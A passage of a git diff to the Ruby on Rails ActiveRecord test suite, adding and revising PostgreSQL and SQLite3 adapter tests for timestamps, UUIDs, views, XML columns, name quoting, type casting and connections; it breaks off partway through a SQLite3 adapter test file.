diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
index 630bdeec67..eb32c4d2c2 100644
--- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -1,12 +1,58 @@
require 'cases/helper'
require 'models/developer'
+require 'models/topic'
-class TimestampTest < ActiveRecord::TestCase
- def test_load_infinity_and_beyond
- unless current_adapter?(:PostgreSQLAdapter)
- return skip("only tested on postgresql")
+class PostgresqlTimestampTest < ActiveRecord::TestCase
+ class PostgresqlTimestampWithZone < ActiveRecord::Base; end
+
+ self.use_transactional_fixtures = false
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
+ end
+
+ teardown do
+ PostgresqlTimestampWithZone.delete_all
+ end
+
+ def test_timestamp_with_zone_values_with_rails_time_zone_support
+ with_timezone_config default: :utc, aware_attributes: true do
+ @connection.reconnect!
+
+ timestamp = PostgresqlTimestampWithZone.find(1)
+ assert_equal Time.utc(2010,1,1, 11,0,0), timestamp.time
+ assert_instance_of Time, timestamp.time
+ end
+ ensure
+ @connection.reconnect!
+ end
+
+ def test_timestamp_with_zone_values_without_rails_time_zone_support
+ with_timezone_config default: :local, aware_attributes: false do
+ @connection.reconnect!
+ # make sure to use a non-UTC time zone
+ @connection.execute("SET time zone 'America/Jamaica'", 'SCHEMA')
+
+ timestamp = PostgresqlTimestampWithZone.find(1)
+ assert_equal Time.utc(2010,1,1, 11,0,0), timestamp.time
+ assert_instance_of Time, timestamp.time
end
+ ensure
+ @connection.reconnect!
+ end
+end
+
+class TimestampTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_group_by_date
+ keys = Topic.group("date_trunc('month', created_at)").count.keys
+ assert_operator keys.length, :>, 0
+ keys.each { |k| assert_kind_of Time, k }
+ end
+ def test_load_infinity_and_beyond
d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
assert d.first.updated_at.infinite?, 'timestamp should be infinite'
@@ -17,10 +63,6 @@ class TimestampTest < ActiveRecord::TestCase
end
def test_save_infinity_and_beyond
- unless current_adapter?(:PostgreSQLAdapter)
- return skip("only tested on postgresql")
- end
-
d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0)
assert_equal(1.0 / 0.0, d.updated_at)
@@ -45,7 +87,7 @@ class TimestampTest < ActiveRecord::TestCase
def test_timestamps_helper_with_custom_precision
ActiveRecord::Base.connection.create_table(:foos) do |t|
- t.timestamps :precision => 4
+ t.timestamps :null => true, :precision => 4
end
assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision')
assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision')
@@ -53,7 +95,7 @@ class TimestampTest < ActiveRecord::TestCase
def test_passing_precision_to_timestamp_does_not_set_limit
ActiveRecord::Base.connection.create_table(:foos) do |t|
- t.timestamps :precision => 4
+ t.timestamps :null => true, :precision => 4
end
assert_nil activerecord_column_option("foos", "created_at", "limit")
assert_nil activerecord_column_option("foos", "updated_at", "limit")
@@ -62,43 +104,51 @@ class TimestampTest < ActiveRecord::TestCase
def test_invalid_timestamp_precision_raises_error
assert_raises ActiveRecord::ActiveRecordError do
ActiveRecord::Base.connection.create_table(:foos) do |t|
- t.timestamps :precision => 7
+ t.timestamps :null => true, :precision => 7
end
end
end
def test_postgres_agrees_with_activerecord_about_precision
ActiveRecord::Base.connection.create_table(:foos) do |t|
- t.timestamps :precision => 4
+ t.timestamps :null => true, :precision => 4
end
assert_equal '4', pg_datetime_precision('foos', 'created_at')
assert_equal '4', pg_datetime_precision('foos', 'updated_at')
end
def test_bc_timestamp
- unless current_adapter?(:PostgreSQLAdapter)
- return skip("only tested on postgresql")
- end
- date = Date.new(0) - 1.second
+ date = Date.new(0) - 1.week
Developer.create!(:name => "aaron", :updated_at => date)
assert_equal date, Developer.find_by_name("aaron").updated_at
end
+ def test_bc_timestamp_leap_year
+ date = Time.utc(-4, 2, 29)
+ Developer.create!(:name => "taihou", :updated_at => date)
+ assert_equal date, Developer.find_by_name("taihou").updated_at
+ end
+
+ def test_bc_timestamp_year_zero
+ date = Time.utc(0, 4, 7)
+ Developer.create!(:name => "yahagi", :updated_at => date)
+ assert_equal date, Developer.find_by_name("yahagi").updated_at
+ end
+
private
- def pg_datetime_precision(table_name, column_name)
- results = ActiveRecord::Base.connection.execute("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name ='#{table_name}'")
- result = results.find do |result_hash|
- result_hash["column_name"] == column_name
- end
- result && result["datetime_precision"]
+ def pg_datetime_precision(table_name, column_name)
+ results = ActiveRecord::Base.connection.execute("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name ='#{table_name}'")
+ result = results.find do |result_hash|
+ result_hash["column_name"] == column_name
end
+ result && result["datetime_precision"]
+ end
- def activerecord_column_option(tablename, column_name, option)
- result = ActiveRecord::Base.connection.columns(tablename).find do |column|
- column.name == column_name
- end
- result && result.send(option)
+ def activerecord_column_option(tablename, column_name, option)
+ result = ActiveRecord::Base.connection.columns(tablename).find do |column|
+ column.name == column_name
end
-
+ result && result.send(option)
+ end
end
diff --git a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
new file mode 100644
index 0000000000..23817198b1
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
@@ -0,0 +1,15 @@
+require 'cases/helper'
+
+class PostgresqlTypeLookupTest < ActiveRecord::TestCase
+ setup do
+ @connection = ActiveRecord::Base.connection
+ end
+
+ test "array delimiters are looked up correctly" do
+ box_array = @connection.type_map.lookup(1020)
+ int_array = @connection.type_map.lookup(1007)
+
+ assert_equal ';', box_array.delimiter
+ assert_equal ',', int_array.delimiter
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
index 9e7b08ef34..3fdb6888d9 100644
--- a/activerecord/test/cases/adapters/postgresql/utils_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -1,9 +1,10 @@
require 'cases/helper'
class PostgreSQLUtilsTest < ActiveSupport::TestCase
- include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils
+ Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+ include ActiveRecord::ConnectionAdapters::PostgreSQL::Utils
- def test_extract_schema_and_table
+ def test_extract_schema_qualified_name
{
%(table_name) => [nil,'table_name'],
%("table.name") => [nil,'table.name'],
@@ -14,7 +15,47 @@ class PostgreSQLUtilsTest < ActiveSupport::TestCase
%("even spaces".table) => ['even spaces','table'],
%(schema."table.name") => ['schema', 'table.name']
}.each do |given, expect|
- assert_equal expect, extract_schema_and_table(given)
+ assert_equal Name.new(*expect), extract_schema_qualified_name(given)
end
end
end
+
+class PostgreSQLNameTest < ActiveSupport::TestCase
+ Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+
+ test "represents itself as schema.name" do
+ obj = Name.new("public", "articles")
+ assert_equal "public.articles", obj.to_s
+ end
+
+ test "without schema, represents itself as name only" do
+ obj = Name.new(nil, "articles")
+ assert_equal "articles", obj.to_s
+ end
+
+ test "quoted returns a string representation usable in a query" do
+ assert_equal %("articles"), Name.new(nil, "articles").quoted
+ assert_equal %("public"."articles"), Name.new("public", "articles").quoted
+ end
+
+ test "prevents double quoting" do
+ name = Name.new('"quoted_schema"', '"quoted_table"')
+ assert_equal "quoted_schema.quoted_table", name.to_s
+ assert_equal %("quoted_schema"."quoted_table"), name.quoted
+ end
+
+ test "equality based on state" do
+ assert_equal Name.new("access", "users"), Name.new("access", "users")
+ assert_equal Name.new(nil, "users"), Name.new(nil, "users")
+ assert_not_equal Name.new(nil, "users"), Name.new("access", "users")
+ assert_not_equal Name.new("access", "users"), Name.new("public", "users")
+ assert_not_equal Name.new("public", "users"), Name.new("public", "articles")
+ end
+
+ test "can be used as hash key" do
+ hash = {Name.new("schema", "article_seq") => "success"}
+ assert_equal "success", hash[Name.new("schema", "article_seq")]
+ assert_equal nil, hash[Name.new("schema", "articles")]
+ assert_equal nil, hash[Name.new("public", "article_seq")]
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
new file mode 100644
index 0000000000..fac21996ed
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -0,0 +1,294 @@
+# encoding: utf-8
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+module PostgresqlUUIDHelper
+ def connection
+ @connection ||= ActiveRecord::Base.connection
+ end
+
+ def drop_table(name)
+ connection.execute "drop table if exists #{name}"
+ end
+end
+
+class PostgresqlUUIDTest < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+ include SchemaDumpingHelper
+
+ class UUIDType < ActiveRecord::Base
+ self.table_name = "uuid_data_type"
+ end
+
+ setup do
+ connection.create_table "uuid_data_type" do |t|
+ t.uuid 'guid'
+ end
+ end
+
+ teardown do
+ drop_table "uuid_data_type"
+ end
+
+ def test_change_column_default
+ @connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v1()"
+ UUIDType.reset_column_information
+ column = UUIDType.columns_hash['thingy']
+ assert_equal "uuid_generate_v1()", column.default_function
+
+ @connection.change_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v4()"
+
+ UUIDType.reset_column_information
+ column = UUIDType.columns_hash['thingy']
+ assert_equal "uuid_generate_v4()", column.default_function
+ ensure
+ UUIDType.reset_column_information
+ end
+
+ def test_data_type_of_uuid_types
+ column = UUIDType.columns_hash["guid"]
+ assert_equal :uuid, column.type
+ assert_equal "uuid", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_treat_blank_uuid_as_nil
+ UUIDType.create! guid: ''
+ assert_equal(nil, UUIDType.last.guid)
+ end
+
+ def test_treat_invalid_uuid_as_nil
+ uuid = UUIDType.create! guid: 'foobar'
+ assert_equal(nil, uuid.guid)
+ end
+
+ def test_invalid_uuid_dont_modify_before_type_cast
+ uuid = UUIDType.new guid: 'foobar'
+ assert_equal 'foobar', uuid.guid_before_type_cast
+ end
+
+ def test_rfc_4122_regex
+ # Valid uuids
+ ['A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11',
+ '{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}',
+ 'a0eebc999c0b4ef8bb6d6bb9bd380a11',
+ 'a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11',
+ '{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}'].each do |valid_uuid|
+ uuid = UUIDType.new guid: valid_uuid
+ assert_not_nil uuid.guid
+ end
+
+ # Invalid uuids
+ [['A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11'],
+ Hash.new,
+ 0,
+ 0.0,
+ true,
+ 'Z0000C99-9C0B-4EF8-BB6D-6BB9BD380A11',
+ '{a0eebc99-9c0b-4ef8-fb6d-6bb9bd380a11}',
+ 'a0eebc999r0b4ef8ab6d6bb9bd380a11',
+ 'a0ee-bc99------4ef8-bb6d-6bb9-bd38-0a11',
+ '{a0eebc99-bb6d6bb9-bd380a11}'].each do |invalid_uuid|
+ uuid = UUIDType.new guid: invalid_uuid
+ assert_nil uuid.guid
+ end
+ end
+
+ def test_uuid_formats
+ ["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11",
+ "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}",
+ "a0eebc999c0b4ef8bb6d6bb9bd380a11",
+ "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11",
+ "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}"].each do |valid_uuid|
+ UUIDType.create(guid: valid_uuid)
+ uuid = UUIDType.last
+ assert_equal "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11", uuid.guid
+ end
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema "uuid_data_type"
+ assert_match %r{t.uuid "guid"}, output
+ end
+end
+
+class PostgresqlLargeKeysTest < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+ include SchemaDumpingHelper
+
+ def setup
+ connection.create_table('big_serials', id: :bigserial) do |t|
+ t.string 'name'
+ end
+ end
+
+ def test_omg
+ schema = dump_table_schema "big_serials"
+ assert_match "create_table \"big_serials\", id: :bigserial, force: true", schema
+ end
+
+ def teardown
+ drop_table "big_serials"
+ end
+end
+
+class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+ include SchemaDumpingHelper
+
+ class UUID < ActiveRecord::Base
+ self.table_name = 'pg_uuids'
+ end
+
+ setup do
+ enable_extension!('uuid-ossp', connection)
+
+ connection.create_table('pg_uuids', id: :uuid, default: 'uuid_generate_v1()') do |t|
+ t.string 'name'
+ t.uuid 'other_uuid', default: 'uuid_generate_v4()'
+ end
+
+ # Create custom PostgreSQL function to generate UUIDs
+ # to test dumping tables which columns have defaults with custom functions
+ connection.execute <<-SQL
+ CREATE OR REPLACE FUNCTION my_uuid_generator() RETURNS uuid
+ AS $$ SELECT * FROM uuid_generate_v4() $$
+ LANGUAGE SQL VOLATILE;
+ SQL
+
+ # Create such a table with custom function as default value generator
+ connection.create_table('pg_uuids_2', id: :uuid, default: 'my_uuid_generator()') do |t|
+ t.string 'name'
+ t.uuid 'other_uuid_2', default: 'my_uuid_generator()'
+ end
+ end
+
+ teardown do
+ drop_table "pg_uuids"
+ drop_table 'pg_uuids_2'
+ connection.execute 'DROP FUNCTION IF EXISTS my_uuid_generator();'
+ disable_extension!('uuid-ossp', connection)
+ end
+
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_id_is_uuid
+ assert_equal :uuid, UUID.columns_hash['id'].type
+ assert UUID.primary_key
+ end
+
+ def test_id_has_a_default
+ u = UUID.create
+ assert_not_nil u.id
+ end
+
+ def test_auto_create_uuid
+ u = UUID.create
+ u.reload
+ assert_not_nil u.other_uuid
+ end
+
+ def test_pk_and_sequence_for_uuid_primary_key
+ pk, seq = connection.pk_and_sequence_for('pg_uuids')
+ assert_equal 'id', pk
+ assert_equal nil, seq
+ end
+
+ def test_schema_dumper_for_uuid_primary_key
+ schema = dump_table_schema "pg_uuids"
+ assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: "uuid_generate_v1\(\)"/, schema)
+ assert_match(/t\.uuid "other_uuid", default: "uuid_generate_v4\(\)"/, schema)
+ end
+
+ def test_schema_dumper_for_uuid_primary_key_with_custom_default
+ schema = dump_table_schema "pg_uuids_2"
+ assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: "my_uuid_generator\(\)"/, schema)
+ assert_match(/t\.uuid "other_uuid_2", default: "my_uuid_generator\(\)"/, schema)
+ end
+ end
+end
+
+class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+
+ setup do
+ enable_extension!('uuid-ossp', connection)
+
+ connection.create_table('pg_uuids', id: false) do |t|
+ t.primary_key :id, :uuid, default: nil
+ t.string 'name'
+ end
+ end
+
+ teardown do
+ drop_table "pg_uuids"
+ disable_extension!('uuid-ossp', connection)
+ end
+
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_id_allows_default_override_via_nil
+ col_desc = connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
+ FROM pg_attribute a
+ LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+ WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
+ assert_nil col_desc["default"]
+ end
+ end
+end
+
+class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase
+ include PostgresqlUUIDHelper
+
+ class UuidPost < ActiveRecord::Base
+ self.table_name = 'pg_uuid_posts'
+ has_many :uuid_comments, inverse_of: :uuid_post
+ end
+
+ class UuidComment < ActiveRecord::Base
+ self.table_name = 'pg_uuid_comments'
+ belongs_to :uuid_post
+ end
+
+ setup do
+ enable_extension!('uuid-ossp', connection)
+
+ connection.transaction do
+ connection.create_table('pg_uuid_posts', id: :uuid) do |t|
+ t.string 'title'
+ end
+ connection.create_table('pg_uuid_comments', id: :uuid) do |t|
+ t.references :uuid_post, type: :uuid
+ t.string 'content'
+ end
+ end
+ end
+
+ teardown do
+ drop_table "pg_uuid_comments"
+ drop_table "pg_uuid_posts"
+ disable_extension!('uuid-ossp', connection)
+ end
+
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_collection_association_with_uuid
+ post = UuidPost.create!
+ comment = post.uuid_comments.create!
+ assert post.uuid_comments.find(comment.id)
+ end
+
+ def test_find_with_uuid
+ UuidPost.create!
+ assert_raise ActiveRecord::RecordNotFound do
+ UuidPost.find(123456)
+ end
+
+ end
+
+ def test_find_by_with_uuid
+ UuidPost.create!
+ assert_nil UuidPost.find_by(id: 789)
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb
index 66e07b71a0..8a8e1d3b17 100644
--- a/activerecord/test/cases/adapters/postgresql/view_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/view_test.rb
@@ -1,49 +1,63 @@
require "cases/helper"
+require "cases/view_test"
-class ViewTest < ActiveRecord::TestCase
- self.use_transactional_fixtures = false
+class UpdateableViewTest < ActiveRecord::TestCase
+ fixtures :books
- SCHEMA_NAME = 'test_schema'
- TABLE_NAME = 'things'
- VIEW_NAME = 'view_things'
- COLUMNS = [
- 'id integer',
- 'name character varying(50)',
- 'email character varying(50)',
- 'moment timestamp without time zone'
- ]
-
- class ThingView < ActiveRecord::Base
- self.table_name = 'test_schema.view_things'
+ class PrintedBook < ActiveRecord::Base
+ self.primary_key = "id"
end
- def setup
+ setup do
@connection = ActiveRecord::Base.connection
- @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
- @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
- @connection.execute "CREATE VIEW #{SCHEMA_NAME}.#{VIEW_NAME} AS SELECT id,name,email,moment FROM #{SCHEMA_NAME}.#{TABLE_NAME}"
+ @connection.execute <<-SQL
+ CREATE VIEW printed_books
+ AS SELECT id, name, status, format FROM books WHERE format = 'paperback'
+ SQL
+ end
+
+ teardown do
+ @connection.execute "DROP VIEW printed_books" if @connection.table_exists? "printed_books"
end
- def teardown
- @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
+ def test_update_record
+ book = PrintedBook.first
+ book.name = "AWDwR"
+ book.save!
+ book.reload
+ assert_equal "AWDwR", book.name
end
- def test_table_exists
- name = ThingView.table_name
- assert @connection.table_exists?(name), "'#{name}' table should exist"
+ def test_insert_record
+ PrintedBook.create! name: "Rails in Action", status: 0, format: "paperback"
+
+ new_book = PrintedBook.last
+ assert_equal "Rails in Action", new_book.name
end
- def test_column_definitions
- assert_nothing_raised do
- assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{VIEW_NAME}")
+ def test_update_record_to_fail_view_conditions
+ book = PrintedBook.first
+ book.format = "ebook"
+ book.save!
+
+ assert_raises ActiveRecord::RecordNotFound do
+ book.reload
end
end
+end
+
+if ActiveRecord::Base.connection.supports_materialized_views?
+class MaterializedViewTest < ActiveRecord::TestCase
+ include ViewBehavior
private
- def columns(table_name)
- @connection.send(:column_definitions, table_name).map do |name, type, default|
- "#{name} #{type}" + (default ? " default #{default}" : '')
- end
- end
+ def create_view(name, query)
+ @connection.execute "CREATE MATERIALIZED VIEW #{name} AS #{query}"
+ end
+ def drop_view(name)
+ @connection.execute "DROP MATERIALIZED VIEW #{name}" if @connection.table_exists? name
+
+ end
+end
end
diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb
new file mode 100644
index 0000000000..5aba118518
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb
@@ -0,0 +1,55 @@
+# encoding: utf-8
+require 'cases/helper'
+require 'support/schema_dumping_helper'
+
+class PostgresqlXMLTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ class XmlDataType < ActiveRecord::Base
+ self.table_name = 'xml_data_type'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('xml_data_type') do |t|
+ t.xml 'payload'
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ skip "do not test on PG without xml"
+ end
+ @column = XmlDataType.columns_hash['payload']
+ end
+
+ teardown do
+ @connection.execute 'drop table if exists xml_data_type'
+ end
+
+ def test_column
+ assert_equal :xml, @column.type
+ end
+
+ def test_null_xml
+ @connection.execute %q|insert into xml_data_type (payload) VALUES(null)|
+ assert_nil XmlDataType.first.payload
+ end
+
+ def test_round_trip
+ data = XmlDataType.new(payload: "<foo>bar</foo>")
+ assert_equal "<foo>bar</foo>", data.payload
+ data.save!
+ assert_equal "<foo>bar</foo>", data.reload.payload
+ end
+
+ def test_update_all
+ data = XmlDataType.create!
+ XmlDataType.update_all(payload: "<bar>baz</bar>")
+ assert_equal "<bar>baz</bar>", data.reload.payload
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema("xml_data_type")
+ assert_match %r{t.xml "payload"}, output
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
index d03d1dd94c..13b754d226 100644
--- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -1,7 +1,7 @@
require "cases/helper"
class CopyTableTest < ActiveRecord::TestCase
- fixtures :customers, :companies, :comments
+ fixtures :customers
def setup
@connection = ActiveRecord::Base.connection
@@ -54,24 +54,27 @@ class CopyTableTest < ActiveRecord::TestCase
end
def test_copy_table_with_id_col_that_is_not_primary_key
- test_copy_table('goofy_string_id', 'goofy_string_id2') do |from, to, options|
+ test_copy_table('goofy_string_id', 'goofy_string_id2') do
original_id = @connection.columns('goofy_string_id').detect{|col| col.name == 'id' }
copied_id = @connection.columns('goofy_string_id2').detect{|col| col.name == 'id' }
assert_equal original_id.type, copied_id.type
assert_equal original_id.sql_type, copied_id.sql_type
assert_equal original_id.limit, copied_id.limit
- assert_equal original_id.primary, copied_id.primary
end
end
def test_copy_table_with_unconventional_primary_key
- test_copy_table('owners', 'owners_unconventional') do |from, to, options|
+ test_copy_table('owners', 'owners_unconventional') do
original_pk = @connection.primary_key('owners')
copied_pk = @connection.primary_key('owners_unconventional')
assert_equal original_pk, copied_pk
end
end
+ def test_copy_table_with_binary_column
+ test_copy_table 'binaries', 'binaries2'
+ end
+
protected
def copy_table(from, to, options = {})
@connection.copy_table(from, to, {:temporary => true}.merge(options))
@@ -86,7 +89,7 @@ protected
end
def table_indexes_without_name(table)
- @connection.indexes('comments_with_index').delete(:name)
+ @connection.indexes(table).delete(:name)
end
def row_count(table)
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
index b227bce680..de6e35ef57 100644
--- a/activerecord/test/cases/adapters/sqlite3/explain_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/developer'
+require 'models/computer'
module ActiveRecord
module ConnectionAdapters
@@ -9,15 +10,15 @@ module ActiveRecord
def test_explain_for_one_query
explain = Developer.where(:id => 1).explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain
assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
end
def test_explain_with_eager_loading
explain = Developer.where(:id => 1).includes(:audit_logs).explain
- assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = ?), explain
assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
- assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
assert_match(/(SCAN )?TABLE audit_logs/, explain)
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index 2ba9143cd5..ac8332e2fa 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -15,9 +15,9 @@ module ActiveRecord
def test_type_cast_binary_encoding_without_logger
@conn.extend(Module.new { def logger; end })
- column = Struct.new(:type, :name).new(:string, "foo")
+ column = Column.new(nil, nil, Type::String.new)
binary = SecureRandom.hex
- expected = binary.dup.encode!('utf-8')
+ expected = binary.dup.encode!(Encoding::UTF_8)
assert_equal expected, @conn.type_cast(binary, column)
end
@@ -47,13 +47,13 @@ module ActiveRecord
end
def test_type_cast_true
- c = Column.new(nil, 1, 'int')
+ c = Column.new(nil, 1, Type::Integer.new)
assert_equal 't', @conn.type_cast(true, nil)
assert_equal 1, @conn.type_cast(true, c)
end
def test_type_cast_false
- c = Column.new(nil, 1, 'int')
+ c = Column.new(nil, 1, Type::Integer.new)
assert_equal 'f', @conn.type_cast(false, nil)
assert_equal 0, @conn.type_cast(false, c)
end
@@ -61,16 +61,16 @@ module ActiveRecord
def test_type_cast_string
assert_equal '10', @conn.type_cast('10', nil)
- c = Column.new(nil, 1, 'int')
+ c = Column.new(nil, 1, Type::Integer.new)
assert_equal 10, @conn.type_cast('10', c)
- c = Column.new(nil, 1, 'float')
+ c = Column.new(nil, 1, Type::Float.new)
assert_equal 10.1, @conn.type_cast('10.1', c)
- c = Column.new(nil, 1, 'binary')
+ c = Column.new(nil, 1, Type::Binary.new)
assert_equal '10.1', @conn.type_cast('10.1', c)
- c = Column.new(nil, 1, 'date')
+ c = Column.new(nil, 1, Type::Date.new)
assert_equal '10.1', @conn.type_cast('10.1', c)
end
@@ -84,7 +84,7 @@ module ActiveRecord
assert_raise(TypeError) { @conn.type_cast(obj, nil) }
end
- def test_quoted_id
+ def test_type_cast_object_which_responds_to_quoted_id
quoted_id_obj = Class.new {
def quoted_id
"'zomg'"
@@ -95,6 +95,20 @@ module ActiveRecord
end
}.new
assert_equal 10, @conn.type_cast(quoted_id_obj, nil)
+
+ quoted_id_obj = Class.new {
+ def quoted_id
+ "'zomg'"
+ end
+ }.new
+ assert_raise(TypeError) { @conn.type_cast(quoted_id_obj, nil) }
+ end
+
+ def test_quoting_binary_strings
+ value = "hello".encode('ascii-8bit')
+ column = Column.new(nil, 1, SQLite3String.new)
+
+ assert_equal "'hello'", @conn.quote(value, column)
end
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index 003052bac4..9d09ff49c7 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,37 +1,73 @@
# encoding: utf-8
require "cases/helper"
require 'models/owner'
+require 'tempfile'
+require 'support/ddl_helper'
module ActiveRecord
module ConnectionAdapters
class SQLite3AdapterTest < ActiveRecord::TestCase
+ include DdlHelper
+
self.use_transactional_fixtures = false
class DualEncoding < ActiveRecord::Base
end
def setup
- @conn = Base.sqlite3_connection :database => ':memory:',
- :adapter => 'sqlite3',
- :timeout => 100
- @conn.execute <<-eosql
- CREATE TABLE items (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer
- )
- eosql
+ @conn = Base.sqlite3_connection database: ':memory:',
+ adapter: 'sqlite3',
+ timeout: 100
+ end
- @conn.extend(LogIntercepter)
- @conn.intercepted = true
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+ connection.exec_query('drop table if exists ex')
+ end
end
- def teardown
- @conn.intercepted = false
- @conn.logged = []
+ unless in_memory_db?
+ def test_connect_with_url
+ original_connection = ActiveRecord::Base.remove_connection
+ tf = Tempfile.open 'whatever'
+ url = "sqlite3:#{tf.path}"
+ ActiveRecord::Base.establish_connection(url)
+ assert ActiveRecord::Base.connection
+ ensure
+ tf.close
+ tf.unlink
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+
+ def test_connect_memory_with_url
+ original_connection = ActiveRecord::Base.remove_connection
+ url = "sqlite3::memory:"
+ ActiveRecord::Base.establish_connection(url)
+ assert ActiveRecord::Base.connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+ end
+
+ def test_valid_column
+ with_example_table do
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
+ assert @conn.valid_type?(column.type)
+ end
+ end
+
+ # sqlite3 databases should be able to support any type and not just the
+ # ones mentioned in the native_database_types.
+ #
+ # Therefore test_invalid column should always return true even if the
+ # type is not valid.
+ def test_invalid_column
